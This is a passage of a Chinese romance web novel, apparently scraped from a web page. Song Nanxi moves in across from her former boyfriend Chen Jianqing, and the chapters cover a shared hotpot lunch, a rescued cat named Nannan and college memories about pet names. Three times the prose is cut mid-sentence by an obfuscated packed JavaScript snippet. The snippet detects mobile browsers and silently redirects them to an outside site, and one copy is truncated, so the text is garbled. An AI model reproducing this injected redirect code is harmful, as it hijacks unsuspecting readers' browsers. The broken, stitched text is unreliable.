宋南汐试探着把狗头从她的臂弯里掰出来对着陈见青,询问狗狗的意见:“让这个哥哥抱着你,好不好?” 曾岳不满:“……凭什么他是哥哥,我就是叔叔?” 宋南汐摆摆手:“都这么大年纪了,就别纠结这些细节了。” 曾岳:“……” 狗狗没再害怕地往她怀里缩着,直直看着陈见青,眼珠子转了转,宋南汐试图唤醒一点青青的记忆:“青青,昨天哥哥还来过我们家呢,还记得吗?” 她离得近了些,让狗狗去闻陈见青的气味,或许就能想起他。 陈见青半垂着眼,目光落在她的发顶,鼻尖是很香的洗发水的味道。 青青探着脑袋仔细闻了闻,然后爪子扒上了陈见青的衣襟,陈见青顺势张开手,接过。青青没有挣扎,安静地趴在陈见青怀里。 宋南汐这才松了口气,摸了摸青青脑袋:“乖乖等姐姐,一会就回来接你。” 没一会儿,一辆红色大G出现在视野中,宋南汐开了后备箱锁,然后下了车。 曾岳也是第一次见宋南汐的车,一边搬运行李,一边调侃了句:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081265|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人家压箱底的颜色都买了?” 宋南汐白了他一眼,“不会说话可以闭嘴。” 陈见青后备箱还有后座都已经被宋南汐的行李占满了,宋南汐本想让陈见青载曾岳,她则和胡若瑶一辆车,但青青貌似有意见,窝在陈见青怀里不肯离开,看起来很是喜欢陈见青。 宋南汐只能改变策略,让曾岳去开陈见青的车,顺便载着胡若瑶。 而陈见青则负责抱着青青搭载宋南汐的车。 安顿好后,宋南汐跟在曾岳后面启动了车,驶向她即将搬进的新家。 等红绿灯的间隙,宋南汐偏头看了眼在陈见青怀里熟睡的青青,不禁暗自感叹,陈见青身上肯定有某种跟动物相合的磁场。 大学时,她经常投喂学校里的流浪猫,陈见青多半时候也会跟她一起投喂,其中有几只小猫跟青青一样,敏感多疑,对外界非常警惕,见人就躲,宋南汐记得她当时投喂了大半年才取得了那几只小猫的信任。 但陈见青却很招人嫉妒,明明是个清冷的性子,外表也很高冷,但那几只警觉的小猫在见到陈见青的第一次就凑上去贴贴。 宋南汐还记得有只小猫主动去蹭陈见青的手心,当时他洁癖还有些严重,整个人都僵在原地,有些手足无措地轻轻抵着小猫脑袋把它推远了点。 那只小猫是只花纹很漂亮的小橘猫,刚出生不久就得了细小,是宋南汐出钱给它治疗、喂养,才活了下来,对其他学生都很排斥,唯独对宋南汐信任度很高。 那也是她第一次看到这只小橘猫对除她以外的第二个人释放善意。 小猫不气馁地又将软软的头顶蹭到陈见青的手心,陈见青手都是僵直的,再次将猫猫推远了点。反复几次后,陈见青率先妥协,紧绷着脸,如临大敌般摸了摸小猫脑袋。 宋南汐直到现在想起来都觉得那场面很温馨,猫可爱,人也可爱。 “绿灯了。”陈见青适时提醒道。 宋南汐回过神,启动了车,唇角还不自觉地挂着笑。 陈见青问了句:“想到什么了这么开心?” 宋南汐:“想起你有时候还是挺可爱的。” 陈见青像是听到什么难以置信的词:“可爱?我?” 宋南汐笑着点了点头。 陈见青皱眉:“你应该没有偷偷吃菌子吧?” 宋南汐:“……没有。” 陈见青还是不放心:“等搬完家去查查脑子,看看是不是菌子中毒留下了什么后遗症。” “……” 前方的绿灯恰好变红,红色大G的车速缓缓降下来直至停在路口。 宋南汐偏头看着陈见青,琥珀色的眼珠满含真诚:“陈见青,如果你是个哑巴,那就更可爱了!” 陈见青:“……” 22. 法外狂徒.陈 下车后,陈见青和曾岳两人分担了所有行李,宋南汐抱着狗狗跟胡若瑶一起跟在他们身后。 进电梯的时候,宋南汐突然想起钥匙的事,她问陈见青:“我们是不是得先去拿一下钥匙?” 陈见青:“到了再拿也行。” 先给她搬东西再跑一趟拿钥匙?那也太折腾人了。 宋南汐有些不好意思:“那也太麻烦你了。” 陈见青垂眸淡声道:“不麻烦。” 宋南汐正想问他家离这近不近的时候,电梯正好到了。 这个小区是一梯两户的设计,另一户跟宋南汐正好住对门。 不知道对门邻居是个什么样的人,宋南汐看了眼紧闭的对门,问曾岳:“哥,这个邻居好不好相处啊?” 曾岳撇了撇嘴,“不太好相处。” 宋南汐有些忐忑:“怎么说?” 曾岳意味深长地看了眼陈见青,诚实道:“听说之前经常给人开瓢。” 宋南汐砸了咂舌:“开、开瓢?” 胡若瑶也惊了:“这是犯法的吧?被抓了吗?” 曾岳耸了耸肩,“没啊,我今天还遇见他了。” 宋南汐说话都不利索了:“法、法外狂徒?!” 胡若瑶挽住宋南汐,害怕道:“老大,要不你先去我家住一段时间吧。” 宋南汐咬了咬唇,面上犹豫:“要不还是先报警吧?” 听见“报警”,曾岳突然噗嗤笑出声,撞了下陈见青的肩:“法外狂徒,你什么意见?” 法外狂徒抱臂站在一旁,淡淡瞥了眼曾岳,唇角平直,冷呵一声:“神经。” 宋南汐和胡若瑶不明所以。 只见陈见青越过他们,面无表情地走向对门,然后输入密码,叮咚一声,门开了。 没一会儿,陈见青自如地从对门出来,走到她面前,摊开手掌,掌心躺着一枚钥匙,冷声道:“你的钥匙。” 宋南汐震惊地无以复加:“你……住对门?” 陈见青却很自然:“你很意外?” 废话!不该意外吗! 宋南汐意识到什么,扭头看向一旁笑弯了腰的曾岳,“曾岳!” 曾岳笑着举起手,作无辜状:“哎哎哎!冤枉啊!祖宗!你也没问啊!” 宋南汐:“……” 大意了! 宋南汐脑子里第一念头就是,陈见青不会以为是她跟曾岳串通好了,特意住在他对门的吧? 转念一想,不对!那天在陈见青车上的时候,曾岳因为不放心她的安全让她搬家的时候,甚至特意问的陈见青的意见。 当时,曾岳问陈见青,龙湖天城和碧沁园的小区哪个更好。 陈见青的回答是碧沁园,甚至在曾岳再次确认的时候,他也依旧没有改变答案。 所以,陈见青在做出回答的时候就已经知道了她会住在他的对面。 可是,为什么呢? 陈见青,明明应该厌她至极。 宋南汐没有去接那把钥匙,她愣愣的盯着陈见青的手心,犹豫着要不要真的去胡若瑶家过度几天,重新找个房子。 在她愣神间隙,陈见青收回手,直接拿着钥匙打开了门。 曾岳笑够了,拍了下宋南汐:“被吓傻了?” 宋南汐定了定神,还是决定暂时在这先住下,过渡几天,顺便找找新住处。 她可以跟前任住对门,但绝不能跟陈见青住对门。 宋南汐没好气地白了眼曾岳,然后一边抱着狗,一边搭手把行李提进去。 曾岳跟进去解释道:“妹啊,我发誓,这真的是巧合!” 宋南汐连笑都懒得装出来,“巧合?你是真不知道假不知道?” “哎呀,主要是碧沁园这里的安保确实是整个江临的顶尖水平了!龙湖天城那里虽然离你上班的地方更近,但肯定比不上这里的安保!”曾岳看着她道:“我也是不放心你嘛。” 听见这话,宋南汐一腔无名火瞬时就被浇灭了。 看见宋南汐软下来的神色,曾岳立刻道:“实在不想住这,咱们现在就把东西搬到龙湖天城!反正我们累点没什么,你得住得舒服才行!” 说着,曾岳就要搬着行李走,宋南汐制止住他,妥协道:“算了,这挺好的,我先住着吧。” 闻言,曾岳还未触到行李的手立刻收了回去,转身搭上陈见青的肩,笑道:“其实,我们陈医生还是很好相处的,不是什么法外狂徒,开瓢我们是合法且专业的。” 胡若瑶猜测道:“所以,这位陈医生是脑外科的?” 陈见青微微颔首,算是回应。 胡若瑶又将目光转向曾岳,还不等她问,曾岳不知从哪掏出一张名片,递到胡若瑶手里,“这是我的名片,肛肠科主任曾岳,有需要可以随时找我。” 胡若瑶捏着那张名片,看着曾岳的眼神有些古怪,嘴里喃喃道:“怪不得……” 宋南汐瞪了他一眼,“谁会想要有这种需要。” 曾岳讪笑道:“以防万一嘛!” 已经临近中午了,宋南汐问:“中午吃点什么?我请客!” 曾岳提议道:“咱们中午在家吃火锅,怎么样?这种阴冷天气跟火锅最适配了!” 宋南汐道:“在家?但我还没来得及收拾。要不出去——” “——去对门啊!”曾岳说。 宋南汐迟疑道:“不好吧……” 哪有让人出人出力还请客的道理。 曾岳征求当事人的意见,“你觉得呢?见青。” 宋南汐抬眼看向陈见青的方向,听见他道:“可以,但是需要去采购食材。” 曾岳说:“正好,刚搬过来缺什么东西可以一起买回来。” 但宋南汐有些良心不安,人家费力帮她搬家,理应她请客才对。正想说要不还是出去吃的时候,陈见青突然看了过来,猝不及防地,与她的目光相接。 他下巴微抬:“食材,你买单。” 宋南汐愣了下,心中的顾虑被打消,“哦好的。” 安顿好青青后,陈见青开着车载着几人一起出门去逛超市买食材。 超市里,宋南汐和胡若瑶一起挑食材,陈见青和曾岳一人推了个购物车悠悠跟在她们身后。 几个人出挑的身材样貌在人群里异常显眼,随意挑出两个人都很配。 路人的目光频频朝他们这边看来,甚至有女孩红着脸找陈见青要微信。 曾岳怕陈见青淬了毒的嘴打击人家姑娘自信心,于是率先开口替他拒绝,微笑道:“姑娘,你很漂亮,但实在不好意思,他有主了。” 那姑娘显然愣了一下,继而脸色更红,声音洪亮道:“对不起!祝你们幸福!” 说完,那姑娘一溜烟跑没影了。 正在挑选食材的宋南汐和胡若瑶见证了全过程,宋南汐看着陈见青脸上的神情由呆滞变成了无语,忍着笑尽力无视转过身继续挑选食材了。 曾岳在原地反应了一下,才慢半拍地问陈见青:“她是不是误会什么了?” 陈见青:“……下次说话前先过过脑子。” 胡若瑶凑近了些,她小声问宋南汐:“老大,你哥有没有谈过恋爱呀?” 宋南汐手上的动作一顿,意外抬了抬眸:“你想了解了解他?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093149|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……”胡若瑶一脸难色。 宋南汐以为她害羞,会心一笑,认真道:“他没谈过恋爱的,母胎单身,就差一个女孩把他收走了。” 胡若瑶闻言,神色顿时变得有些古怪,她回头看了眼谈笑风生的曾岳,虽然陈见青一脸冷漠,但曾岳跟他聊天的热情依旧不减。 注意到胡若瑶的反常,宋南汐问了句:“怎么了?” 胡若瑶欲言又止,声音小到只有她们两个人才能听到:“老大……你是不是还喜欢陈医生呀?” 宋南汐的脸色顿时一僵,手上下意识脱了力,食品夹顿时跌到了满是散装冷冻食品的冰箱里。 余光下意识去寻找陈见青的身影,看他神色如常,确认他没听到,无形中松了口气,察觉到自己的失态,宋南汐重新拿起食物夹,状似无意道:“怎么突然问起这个?” 胡若瑶沉默了下:“老大……你把刚挑好的食材又放回去了。” “……”宋南汐笑容有些僵硬,找补道:“鱼丸太多了,放回去两个。” 胡若瑶抿了抿唇,无言片刻,像是下定了什么决心:“老大,我知道了。” 宋南汐疑惑:“知道什么?” 胡若瑶摇了摇头,“没什么。” 她只是做了个决定,无论如何她要帮她,就像宋南汐帮她一样。 胡若瑶自从研究生毕业就跟着宋南汐了,是她把她招进公司,教她本领,关照着她,带着她一步步成长。 甚至在几次酒局应酬上,对于一些不怀好意的想吃她豆腐的甲方,宋南汐都会护着她,甚至不惜跟对方撕破脸,有一次甚至还因此被公司停职一周。 可以说,宋南汐不仅是她的师傅,更是她的引路人。 对她而言,也是很亲近的姐姐。 胡若瑶一直都知道宋南汐心里有个人,很多时候遇上酒局应酬,她送醉酒的她回家的时候,总能从她嘴里听到一个名字——陈见青。 很多次,她都是在哭着的,哭着叫那个名字,看起来脆弱又无助,但第二天的时候,又会变成那个冷漠干练的华凌总监。 如果不是那双红肿的双眼,胡若瑶差点会以为自己出现了幻觉。 胡若瑶一直都很好奇那是怎样一个人,让平时雷厉风行的女强人在醉酒后哭的这样伤心,直到亲眼见到这位传闻中的陈见青。 她当时只觉得这人长得确实很好看,让人一眼记住的很周正的长相。 但除了样貌外,她再看不出其他的了。 但是老大喜欢,那就必然有他的过人之处。 刚刚宋南汐的表现她都看在眼里,对于她的提问并没有否认,那就是肯定答案。 既然是肯定答案,那她就要努力帮她争取到。 她想,即使不能帮上忙,起码把绊脚石清理了。 回去的路上,依旧是陈见青开车,按照来时的座位,宋南汐本来是跟胡若瑶坐在后排,曾岳坐在副驾驶。 但回程路上,胡若瑶却把她推上了副驾驶的位置,然后拉着曾岳坐到了后排。 宋南汐一开始还觉得莫名其妙,后转念一想,又笑了,心想,若瑶难得这么主动,但愿她哥能招架得住。 胡若瑶上车后就一直沉默地看着窗外,想着怎么才能消灭曾岳这个绊脚石。 被拽上后排的曾岳一开始还有些懵,他扫了眼人都快贴到车门上的胡若瑶,跟他隔了一个银河的距离,缓缓开口: “……这位姑娘,你是在跟我演牛郎织女吗?” 冷不丁听到某个词汇,胡若瑶突然转过身看着曾岳,惊喜道:“什么牛郎?谁是牛郎?你要做牛郎?” 曾岳:“……?” 23. 宝宝 车内气氛有短暂的沉默。 宋南汐回头看了眼曾岳的表情,笑着调侃了句:“哥,你要转行啊?” 曾岳木着脸道:“……谢谢,我知道我很帅,但大可不必用这种刁钻的角度来夸我。” 胡若瑶好像知道自己说错了话,一路上都没再出声。 到了碧沁园,大家先把生活必需品搬到了宋南汐家,然后才提着食材去了对门陈见青家。 进门后,在玄关处换好鞋,曾岳扫了眼周围,问陈见青:“你家南南去哪了?” 陈见青说:“它怕生,应该是躲起来了。” 胡若瑶小心翼翼问道:“陈医生有小孩了?” 曾岳笑起来,率先开口替他解释道:“他连个女朋友都还没有,哪来的小孩。南南是他养的一只猫。” 宋南汐心头重重一跳,倏地抬眸看向陈见青。 南南……是她想的那只猫吗? 陈见青不知道是不是故意的,直接略过她的眼神,“我去把食材处理一下。” 陈见青往厨房的方向走,曾岳也跟上去,还对着宋南汐她们道:“我去给他搭把手,你们先在沙发上坐会。” 胡若瑶看着曾岳的离去的背影不禁皱了皱眉,“老大,要不我们也一起去帮忙吧?” 目前这种情况,还是要尽量避免曾岳和陈见青共处一室。 宋南汐自以为看透了她的小心思,笑道:“想去找我哥啊?” 胡若瑶抿了抿唇,道:“算是吧。” 宋南汐笑着道:“厨房太多人,容易帮倒忙,我们还是做做准备工作,摆好餐具,准备好火锅底料。” 胡若瑶有些纠结地看了眼厨房,“好吧。” 宋南汐看着胡若瑶恋恋不舍的样子,不禁笑了起来。 看来她哥的魅力还挺大的,竟然能让平时的工作狂若瑶痴迷到这种程度。 宋南汐拉着胡若瑶去餐桌旁,一边做准备工作,一边悄悄告诉胡若瑶:“若瑶,以我对我哥的了解,他应该喜欢会喜欢热情似火那挂的。” 胡若瑶闻言皱了皱眉,热情似火?陈医生也不像热情似火那挂的呀。 胡若瑶怀疑自家老大的情报系统没更新,眼神暗了暗,不过还是道:“我知道了,老大。” 宋南汐看胡若瑶有些气馁,又鼓励她,“若瑶,我哥其实很好追的,你就多多对他死缠烂打,肯定有用!” 好追? 胡若瑶不知道想到什么,紧皱的眉头顿时舒展开,眼睛也亮了亮:“老大,我想到办法了!” 既然要解决这块绊脚石,最好的方法就是从根源上解决问题。 他是gay又怎么样!只要她能把他掰直不就行了! 首先第一步,她应该先让曾岳对女人产生兴趣。 为了老大,她愿意以身试险! 胡若瑶眼神顿时变得坚定,看向厨房的眼神势在必得。 宋南汐笑着摇了摇头,或许不久后,她就会有一个嫂子了。 放好火锅底料,加好水,然后开火。 一切准备好后,宋南汐正想去厨房帮忙端一下食材的时候,脚边忽然被一个毛茸茸的东西挡住了去路。 她低头一看,一只身材肥硕的大橘猫正在她的脚边蹭来蹭去。 “欸?这是陈医生养的那只猫吗?”胡若瑶有些惊喜,她也很喜欢毛茸茸的东西,正要蹲下摸摸的时候,那猫警觉地躲到了宋南汐身后,还不断朝胡若瑶呲牙哈气。 胡若瑶止住了脚步,立刻离远了些,看着那只对宋南汐的亲切态度,疑惑道:“老大,这只猫怕生但不怕你欸。” 宋南汐缓缓蹲下身,试探着伸出手:“南南?” 大橘猫立刻收起凶恶的表情,身子依旧躲在她身后,但却抻着脖子,圆滚滚的大脑袋抵着宋南汐的手心蹭来蹭去,很是亲昵。 完全不像是陈见青口中怕生的样子。 宋南汐仔细观察着脚边这只猫,身上黄白相间的花纹非常漂亮,毛发长而柔顺,一看就是被主人打理得很好。 她又叫了声:“南南。” 大橘猫整个身子都从她身后探出来,走到她脚边然后一躺,敞着肚皮,眯着眼,宋南汐一摸,它就会发出呼噜呼噜的声音。 胡若瑶惊讶道:“老大,你动物缘也太好了吧。” 宋南汐却知道她向来跟动物缘不沾边,之所以南南这么亲近她,是因为她确定南南就是当初她在学校里救活的那只得了细小的小橘猫。 学校里受她投喂照顾的猫很多,但南南确是她付出精力最多的一只小猫。 因为南南体弱多病的缘故,刚出生的那三个月几乎都是在医院度过的,宋南汐几乎天天都去看它,后来南南身体好起来,宋南汐就重新把它放归校园。 学校里的热心学生很多,它可以生活的很好。 但没想到这小家伙异常排斥他人的接近,每次都把自己藏起来,只有宋南汐去的时候才会乖乖出来。 当时的她根本没有条件把南南随时带在身边,只能每天都去看它。 后来,跟陈见青交往后,就变成了两个人去看它。 宋南汐记得当时见陈见青的第一面,它才从医院回来不久,对人的警惕性异常高,但对陈见青不太一样,上赶着去蹭陈见青。 最后,陈见青还是扛不住它的热情,纡尊降贵地摸了摸它。 后来,每次去的时候陈见青摸它已经自然地变成了习惯。 再之后,她跟陈见青分了手,她就去了国外,也没了这只猫的消息。 几年前回国后,她第一时间就去了榆北大学,想看看这只猫还在不在,她想领养它。 但去的时候,它已经被人领养走了。 榆北大学的领养还是很严格的,宋南汐知道它过得好也就放心了。 只是,她没想到,领养人竟然是陈见青。 “这只肥猫竟然跟你这么亲近!”曾岳正端着蔬菜盘从厨房走出来,看见宋南汐脚边那只异常谄媚的猫有些惊讶。 陈见青也端着盘子走出来,垂眸看了眼,并未说什么。 宋南汐摸了摸猫猫的脑袋,柔声道:“南南,自己去玩。” 猫猫乖乖站起身,很听话地去了自己窝里。 曾岳调侃道:“你俩的宠物一个叫南南,一个叫青青,不知道的还以为是小夫妻调情呢。” 宋南汐抿了抿唇,有些心虚,陈见青也没说话。 然而,曾岳丝毫没察觉到气氛的不对劲,还追问:“南南、青青,这么有创意的名你俩怎么想的?” 宋南汐下意识去看陈见青,恰好陈见青也看了过来。 他唇角倏地弯了一下,很浅的弧度,转瞬即逝,让宋南汐错以为是幻觉。 他将最后一盘海鲜放到桌上,然后才悠悠道:“就是觉得这个名字很可爱。” 宋南汐莫名地耳尖有些热,不等曾岳再次追问,她蹭地站起来,丢下句:“我去洗个手。”,几乎是落荒而逃。 洗手间里,宋南汐看着镜中的自己,不仅耳朵红,脸也有些红。 只是因为陈见青口中那句突如其来的可爱,就连心跳都莫名有些加快。 他说,南南这个名字可爱。 宋南汐却想起,他曾经也对她说过类似的话。 那时候,她刚追上陈见青不久,因为正好没课,所以就陪着陈见青去上课。 坐在他们旁边的是一对小情侣,课间的时候,宋南汐一直听那男生叫女孩宝宝,一种亲昵又肉麻的称呼。 宋南汐心底隐隐有些羡慕,下课后,宋南汐收好书包却不走,陈见青问了句:“怎么了?不是要去喂猫吗?” “先等等,”宋南汐拉住他坐下,很认真道:“陈见青,我是不是你女朋友?” 陈见青点了点头。 宋南汐撇了撇嘴:“但我没有这种感觉。” 陈见青以为自己最近太忙疏忽了她,正要道歉,宋南汐又道:“你说说,你平时都叫我什么?” 陈见青理所当然道:“宋南汐啊。” 宋南汐不满地皱了皱眉,抱怨道:“你看!你每次都是连名带姓地叫我,一点爱意都没有。” 陈见青有些不明白:“那要叫你什么?” 宋南汐又有些不好意思,声音也越来越低,“人家对象都称呼对方宝宝……” 宋南汐垂下眼有些不敢去看他的神情,过了几秒,忽听耳边一声闷笑。 陈见青在嘲笑她?! 宋南汐羞恼抬眸,猝不及防撞进那双含笑的眼睛里,眸波仿佛荡漾的春水,他拖着尾音:“原来,你想让我叫你……宝宝啊。” 最后一截字音重重敲在她心上,宋南汐一时之间大脑空白,愣愣地看着他。 彼时,教室里的人都走完了,偌大的教室只剩他们两个人,陈见青忽然捏着她的下巴吻了上来。 他吻的很温柔,她几乎要陷入他的温柔乡里。 结束的时候,两个人都有些气息不稳,他与她鼻尖相抵,唇角牵起,极具温柔缱眷:“宝宝……” 他的声音有些低,仿佛梦时的呢喃,但宋南汐却听得清清楚楚。 那一刻,全身宛如过电一般,心脏又酥又麻,整个人都呆住了。 她没想到这么暧昧亲昵的称呼有一天会从陈见青的嘴里说出来,更没想到这个人会是自己。 宋南汐觉得整个人都要烧起来,蹭地站起来,连书包都没拿就径直往外走。 陈见青拿上书包追上她,笑着问:“宝宝,生气了?” 宋南汐眉心跳了跳,慢下脚步,气馁道:“陈见青,你还是别叫我这个称呼了,有点吓人。” 陈见青挑眉:“不是觉得我对你没有爱意?” 宋南汐讪讪道:“这个称呼听起来奇奇怪怪的,还是换一个吧。” 其实也不是奇怪,只是从陈见青嘴里说出来的时候,她莫名觉得涩涩的,让她有种另类的冲动,说出来有点丢人。 陈见青笑:“那你再好好想想。” 宋南汐走在前面苦思冥想,陈见青就背着包跟在她身后。 这个时候,宋南汐苦恼起来,自己竟然连个小名都没有。 良久,宋南汐福至心灵般地想到什么,她忽然转过身,正对上陈见青的眼睛。 她一边倒着走路,一边若有所思道:“要不你叫我阿南吧?。” 陈见青还没回答,她又皱着眉否定:“不行不行,听起来土土的,嗯……要不就叫南南怎么样?” 陈见青有些无奈地牵住她的手:“好好走路。” “哦。” 宋南汐被他牵着手乖乖走在他身侧。 正好到了喂猫的地点,一见他们来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小猫懵懂地喵了声,然后又用柔软的头顶去蹭她的手,宋南汐笑起来,摸了摸它:“那你以后就叫南南吧。” 猫猫们吃饱后,四散开去,有的去睡回笼觉,有的晒太阳,有的随机挑选一名过路学生撒娇求摸摸。 已经临近中午,宋南汐和陈见青收好剩下的猫粮,手牵着手去食堂吃饭。 陈见青似乎心情很好,每每宋南汐偏头看他地时候,他的唇角上总是挂着笑。 宋南汐停下脚步,陈见青也跟着停了下来,“怎么了?” 宋南汐审视着他,目光幽幽:“陈见青,抢了我名字,你就这么开心?” 不知道哪个字戳中了陈见青的笑点,他又笑起来:“哪里抢了?你不是自愿的吗?” 宋南汐撇了撇嘴:“我不管,你得还我一个。” 陈见青朝她走近几步,阳光穿过树间,落在他的发顶、睫毛,渡上一层柔和的光晕,白皙的脸颊浮上一抹淡淡的红晕,他低声道:“那就……阿南。” 宋南汐怔住,愣愣道:“你、你说什么?” 陈见青轻声重复:“以后叫你阿南,好不好?” 宋南汐垂眸小声道:“你不觉得土土的吗?” 好像那种虐恋情深小说里的女主角。 陈见青双手捧住她的脸,很认真地说:“不土,可爱的。跟‘南南’一样可爱。” 宋南汐眨了眨眼,定定地看着陈见青。 此刻,他的眼睛里只有她。 宋南汐心念一动,“陈见青,可以再叫一遍吗?” 陈见青喉结上下滑动了两下,“阿南。” 他的声线低沉悦耳,尤其这样认真又温柔地看着你的时候,总觉得他在说情话。 宋南汐觉得即使这张嘴里现在说出‘翠花’这个名字,也会是好听的。 鬼使神差地,她答应了下来,“那就叫阿南吧。” 陈见青又问:“阿南,别人也这样叫过你吗?” “没有。”宋南汐握住他的手,十指相扣,“陈见青,我没有小名,阿南是你的专属称呼。” 陈见青笑起来,声音里都透着愉悦,“好,我知道了。” 路上,有人认出陈见青,跟他打招呼:“师兄好。” 陈见青都一一回应。 宋南汐有些好奇:“陈见青,你有没有小名?” 陈见青摇了摇头:“没有。” 宋南汐想了想,“那我也给你取个专属称呼,好不好?” 陈见青眉心一跳,有种不好的预感,果然下一秒,就听见宋南汐说:“就叫小青,好不好?” 陈见青:“……不好。” 宋南汐似乎很满意:“小青多好听,你不喜欢?” 陈见青面无表情道:“不喜欢。” 宋南汐只能换个称呼,“那阿青?” “不好。” “那就青青,青青也很好听!” 陈见青还是拒绝。 宋南汐皱了皱眉:“陈见青,你好难伺候啊!” 陈见青也有些无奈:“不需要其他称呼,你叫我名字的时候就很好听。” 宋南汐“哼”了声:“那我以后要养一只叫青青的狗,再养只叫小青的猫!” 陈见青气定神闲道:“你可以再养一只叫白素贞的蛇,生个叫许仙的小孩。” “当然,这个小孩得姓陈。”他又淡淡补充了句。 宋南汐:“……” 有的时候,她真的很想报警。 24. 陈医生不行? 尽管她确实谈过数不清的恋爱,但现在即使拎出其中任何一个人站她面前,她也不一定会认出来,所谓的恋爱回忆更别提,可以说根本没有被她的大脑存档。 但陈见青不一样,他不经意间说的每句话都能触动她的心弦,勾连着她的神经,那些与他有关的回忆仿佛刻骨铭心一般印在了她的脑海里。 宋南汐懊恼地看着镜中的自己,好歹大学时也是个名扬校内的渣女人设,怎么现在倒成了一个情窦初开的小女孩一样,动不动就因为陈见青的一句话脸红心跳的。 她低头用冷水扑了把脸,大脑总算清醒了些。 客厅里,火锅的香气四溢,胡若瑶和曾岳一人端着一个油碟从厨房走出来,见到宋南汐,胡若瑶说:“老大,陈医生已经帮你调好料碟了。” 话落,陈见青也紧随其后从厨房出来,手里端着一个油碟和一个麻酱碟,他看向宋南汐:“吃麻酱?” 宋南汐点了点头,走过去将料碟接过,说了声谢谢。 她看了眼陈见青手中拿的那个油碟,心中纳闷,陈见青之前不是喜欢吃麻酱的吗? 后转念一想,过了这么多年,或许人家的口味早就变了。 这么一想,心情有瞬间有些低落下来。 落座的时候,宋南汐跟胡若瑶坐在了一起,好巧不巧,正对着陈见青。 吃饭的时候,宋南汐几乎没敢抬头,生怕一不小心跟他对上眼神,徒增尴尬。 饭桌上有些安静,曾岳的手机倒是一直响个不停,他拿起看了一眼,突然笑出了声。 三人皆是莫名其妙地看着曾岳,曾岳笑着拍了拍陈见青的肩:“兄弟,你完了。大家都在传你不行。” 陈见青皱了皱眉,“你有病?” 曾岳看着手机,一字一句念道:“陈医生与女朋友爆发争吵,疑似陈医生不行?”曾岳念完,无辜耸了耸肩,“这可是医院内部传的,不是我说的。” 闻言,胡若瑶有些凝重地看向陈见青。 宋南汐顿时低下头装作若无其事地吃东西,但唇角明显在压着笑意。 曾岳把手机递过去给陈见青看,是一个医院内部的八卦群,陈见青瞥了眼,看到那个发消息的头像,冷声道:“苟杞最近很闲?让他明天来我办公室。” “苟杞?他怎么了?” 苟杞是曾岳手下的实习生,人活络也八卦,曾岳意识到什么,仔细看了眼谣言源头——那个发消息的熟悉头像不是苟杞的还能是谁。 想起早上的时候,在医院大厅,宋南汐和陈见青因为钥匙的事僵持,而当时苟杞恰好经过,看见了这一幕,加上他添油加醋想象一番,估计谣言这么传出去了。 曾岳嘿嘿笑了两声:“误会,都是误会。肯定是早上这小子经过的时候以为你俩吵架了,等回了医院我一定好好罚他!” 胡若瑶抿了抿唇,一脸迟疑的模样。 这表情实在太过明显,曾岳忍着笑再次为陈见青的清白申明道:“这都是谣言!我那学生苟杞就喜欢添油加醋胡思乱想,别当真别当真。”末了,他还补充了一句:“我们陈医生很行的!” 这一解释,陈见青的脸色有些一言难尽。 宋南汐下意识小声嘟囔了句:“这谁能说得准。” 饭桌上顿时变得鸦雀无声,只能听到火锅咕嘟咕嘟冒泡的声音。 完了,她把心里话下意识说出来了。 几秒的沉默仿佛比一个世纪都要漫长,宋南汐硬着头皮抬起头,尴尬找补:“我、我的意思是,你很行!你超级行!你宇宙第一无人能敌!” 虽然是夸赞,但听到其他人耳朵里就不是那么回事了。 曾岳没忍住笑出声。 隔着氤氲的热气,宋南汐有点看不懂陈见青脸上的表情,很复杂。 宋南汐正要再开口解释的时候,陈见青的声音响起:“你知道?” 短短三个字让宋南汐彻底意识到她已经越描越黑了。 而一旁的曾岳已经笑疯了。 “赶紧吃吧,肉都要煮老了。”曾岳笑够了颇为良心地转移了话题,还不忘把火调小了一点。 一顿饭就这么有惊无险地吃完了,收拾碗筷的时候,陈见青主动去洗碗,宋南汐有些不好意思地也去帮忙。 只有一个洗碗池,宋南汐站在一旁,“有什么我能帮忙的吗?” 陈见青偏了下头,朝池边的架子抬了抬下巴,“拿架子上的白色擦碗布,把洗好的碗擦干就行。” 宋南汐应好,然后拿起擦碗布,把陈见青洗好的碗一个个擦干水渍,整齐地归置到一旁。 过程中,宋南汐有时候会分心,陈见青的那双手,骨节修长,白净又漂亮,像个手模,尤其水珠停在他指尖的时候,宋南汐总会控制不住地胡思乱想。 或许她的视线有些灼热,引起了陈见青的注意,陈见青把手中洗好的盘子递给她,“在想什么?” “想你。”宋南汐下意识脱口而出。 “想我?”陈见青意外抬眸。 “……”宋南汐觉得自己真是癔症了,平时的冷静理智也不知道去哪了,她微笑补充道:“想你帮我的实在是太多了。” 陈见青关掉水龙头,从她手里拿过擦碗布,一点点把最后一个盘子擦干净。 怕陈见青不信,她又郑重且真心地补充道:“陈见青,从警察局接我,帮我搬家还有请我吃饭,这些都很谢谢你。” 陈见青把最后一个盘子放好,没什么语气地说,“不用谢,毕竟你是曾岳的妹妹。” 曾岳的妹妹,原来只是因为这个。 